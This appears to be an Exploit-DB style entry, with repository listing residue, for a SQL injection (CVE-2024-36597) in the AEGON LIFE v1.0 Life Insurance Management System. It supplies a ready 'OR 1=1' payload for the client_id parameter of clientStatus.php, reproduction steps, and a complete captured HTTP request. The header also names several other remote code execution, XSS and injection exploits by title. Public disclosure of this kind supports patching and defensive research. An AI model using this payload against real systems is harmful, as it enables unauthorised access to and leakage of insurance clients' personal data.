1064b5c455
12 changes to exploits/shellcodes/ghdb Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit) Rebar3 3.13.2 - Command Injection AEGON LIFE v1.0 Life Insurance Management System - SQL injection vulnerability. AEGON LIFE v1.0 Life Insurance Management System - Stored cross-site scripting (XSS) AEGON LIFE v1.0 Life Insurance Management System - Unauthenticated Remote Code Execution (RCE) Boelter Blue System Management 1.3 - SQL Injection Carbon Forum 5.9.0 - Stored XSS PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows) WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) (Authenticated) XMB 1.9.12.06 - Stored XSS ZwiiCMS 12.2.04 - Remote Code Execution (Authenticated)
48 lines
No EOL
1.7 KiB
Text
48 lines
No EOL
1.7 KiB
Text
# Exploit Title: Life Insurance Management System- SQL injection vulnerability.
|
|
# Exploit Author: Aslam Anwar Mahimkar
|
|
# Date: 18-05-2024
|
|
# Category: Web application
|
|
# Vendor Homepage: https://projectworlds.in/
|
|
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/
|
|
# Version: AEGON LIFE v1.0
|
|
# Tested on: Linux
|
|
# CVE: CVE-2024-36597
|
|
|
|
# Description:
|
|
----------------
|
|
|
|
Aegon Life v1.0 was discovered to contain a SQL injection vulnerability via the client_id parameter at clientStatus.php.Important user data or system data may be leaked and system security may be compromised. Then environment is secure and the information can be used by malicious users.
|
|
|
|
# Payload:
|
|
------------------
|
|
|
|
client_id=1511986023%27%20OR%201=1%20--%20a
|
|
|
|
# Steps to reproduce
|
|
--------------------------
|
|
-Login with your creds
|
|
-Navigate to this directory - /client.php
|
|
-Click on client Status
|
|
-Will navigate to /clientStatus.php
|
|
-Capture the request in burp and inject SQLi query in client_id= filed
|
|
|
|
# Burp Request
|
|
-------------------
|
|
|
|
|
|
GET /lims/clientStatus.php?client_id=1511986023%27%20OR%201=1%20--%20a HTTP/1.1
|
|
Host: localhost
|
|
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: "Linux"
|
|
Upgrade-Insecure-Requests: 1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: none
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n
|
|
Connection: close |